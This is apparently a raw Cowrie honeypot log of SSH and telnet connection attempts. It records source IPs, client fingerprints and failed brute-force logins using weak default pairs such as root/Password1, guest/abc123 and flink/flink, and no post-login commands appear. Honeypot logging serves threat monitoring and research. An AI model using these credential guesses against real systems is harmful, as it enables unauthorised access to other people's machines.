{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":43576,"dst_ip":"10.17.0.5","dst_port":22,"session":"98e7b0cb7e14","protocol":"ssh","message":"New connection: 176.65.139.103:43576 (10.17.0.5:22) [session: 98e7b0cb7e14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:15.120989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:15.127296Z","src_ip":"176.65.139.103","session":"98e7b0cb7e14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:15.212301Z","src_ip":"176.65.139.103","session":"98e7b0cb7e14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:15.492592Z","src_ip":"176.65.139.103","session":"98e7b0cb7e14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":43838,"dst_ip":"10.17.0.5","dst_port":23,"session":"4be4cc5e785f","protocol":"telnet","message":"New connection: 213.136.75.179:43838 (10.17.0.5:23) [session: 4be4cc5e785f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:15.583129Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":43842,"dst_ip":"10.17.0.5","dst_port":23,"session":"f84df8d0e8b0","protocol":"telnet","message":"New connection: 213.136.75.179:43842 (10.17.0.5:23) [session: f84df8d0e8b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:16.364280Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:16.606290Z","src_ip":"176.65.139.103","session":"98e7b0cb7e14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.154980421066284,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:20.576297Z","src_ip":"213.136.75.179","session":"ab152bc44bea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":45540,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d52ceb28747","protocol":"telnet","message":"New connection: 213.136.75.179:45540 (10.17.0.5:23) [session: 6d52ceb28747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:20.954652Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":45556,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dfbdedd0836","protocol":"telnet","message":"New connection: 213.136.75.179:45556 (10.17.0.5:23) [session: 2dfbdedd0836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:21.805725Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":43592,"dst_ip":"10.17.0.5","dst_port":22,"session":"d400c5a45704","protocol":"ssh","message":"New connection: 176.65.139.103:43592 (10.17.0.5:22) [session: d400c5a45704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:21.870149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:21.927477Z","src_ip":"176.65.139.103","session":"d400c5a45704","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:21.999701Z","src_ip":"176.65.139.103","session":"d400c5a45704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:22.322189Z","src_ip":"176.65.139.103","session":"d400c5a45704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:23.415205Z","src_ip":"176.65.139.103","session":"d400c5a45704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.174742221832275,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:25.741559Z","src_ip":"185.26.126.47","session":"7449e574f2cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":45560,"dst_ip":"10.17.0.5","dst_port":23,"session":"b84bca9db796","protocol":"telnet","message":"New connection: 213.136.75.179:45560 (10.17.0.5:23) [session: b84bca9db796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:26.704087Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":40632,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e4a813d59db","protocol":"telnet","message":"New connection: 213.136.75.179:40632 (10.17.0.5:23) [session: 9e4a813d59db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:27.959903Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44452,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e352d0b0a0d","protocol":"ssh","message":"New connection: 176.65.139.103:44452 (10.17.0.5:22) [session: 4e352d0b0a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:28.263767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:28.268411Z","src_ip":"176.65.139.103","session":"4e352d0b0a0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:28.353759Z","src_ip":"176.65.139.103","session":"4e352d0b0a0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:28.603168Z","src_ip":"176.65.139.103","session":"4e352d0b0a0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:29.720219Z","src_ip":"176.65.139.103","session":"4e352d0b0a0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":40642,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ec96a9c3660","protocol":"telnet","message":"New connection: 213.136.75.179:40642 (10.17.0.5:23) [session: 4ec96a9c3660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:29.899142Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":40644,"dst_ip":"10.17.0.5","dst_port":23,"session":"fef4fa7b1cf9","protocol":"telnet","message":"New connection: 213.136.75.179:40644 (10.17.0.5:23) [session: fef4fa7b1cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:32.902391Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":37664,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa160c712892","protocol":"ssh","message":"New connection: 176.65.139.103:37664 (10.17.0.5:22) [session: aa160c712892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:34.604537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:34.797836Z","src_ip":"176.65.139.103","session":"aa160c712892","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:34.822258Z","src_ip":"176.65.139.103","session":"aa160c712892","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flink","password":"flink","message":"login attempt [flink/flink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:35.225814Z","src_ip":"176.65.139.103","session":"aa160c712892","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:36.314095Z","src_ip":"176.65.139.103","session":"aa160c712892","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36034,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ce23c238c66","protocol":"ssh","message":"New connection: 159.203.92.129:36034 (159.203.135.109:22) [session: 3ce23c238c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:37.826585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:37.831274Z","src_ip":"159.203.92.129","session":"3ce23c238c66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:37.835930Z","src_ip":"159.203.92.129","session":"3ce23c238c66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anoosha","password":"anoosha","message":"login attempt [anoosha/anoosha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:37.847054Z","src_ip":"159.203.92.129","session":"3ce23c238c66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:38.853967Z","src_ip":"159.203.92.129","session":"3ce23c238c66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00164365768433,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:39.288737Z","src_ip":"201.148.245.234","session":"05aaf54ff79a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":37678,"dst_ip":"10.17.0.5","dst_port":22,"session":"161c935b0274","protocol":"ssh","message":"New connection: 176.65.139.103:37678 (10.17.0.5:22) [session: 161c935b0274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:41.359503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:41.363520Z","src_ip":"176.65.139.103","session":"161c935b0274","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:41.455961Z","src_ip":"176.65.139.103","session":"161c935b0274","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:41.719756Z","src_ip":"176.65.139.103","session":"161c935b0274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:42.906106Z","src_ip":"176.65.139.103","session":"161c935b0274","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.578450918197632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:45.077888Z","src_ip":"213.136.75.179","session":"c3e004b25bb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.994559049606323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:47.577565Z","src_ip":"213.136.75.179","session":"4be4cc5e785f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34744,"dst_ip":"10.17.0.5","dst_port":22,"session":"aee18075f049","protocol":"ssh","message":"New connection: 176.65.139.103:34744 (10.17.0.5:22) [session: aee18075f049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:47.878964Z"}
{"eventid":"cowrie.session.closed","duration":31.6107120513916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:47.974820Z","src_ip":"213.136.75.179","session":"f84df8d0e8b0","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:48.030149Z","src_ip":"176.65.139.103","session":"aee18075f049","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:44:48.033878Z","src_ip":"176.65.139.103","session":"aee18075f049","protocol":"ssh"}
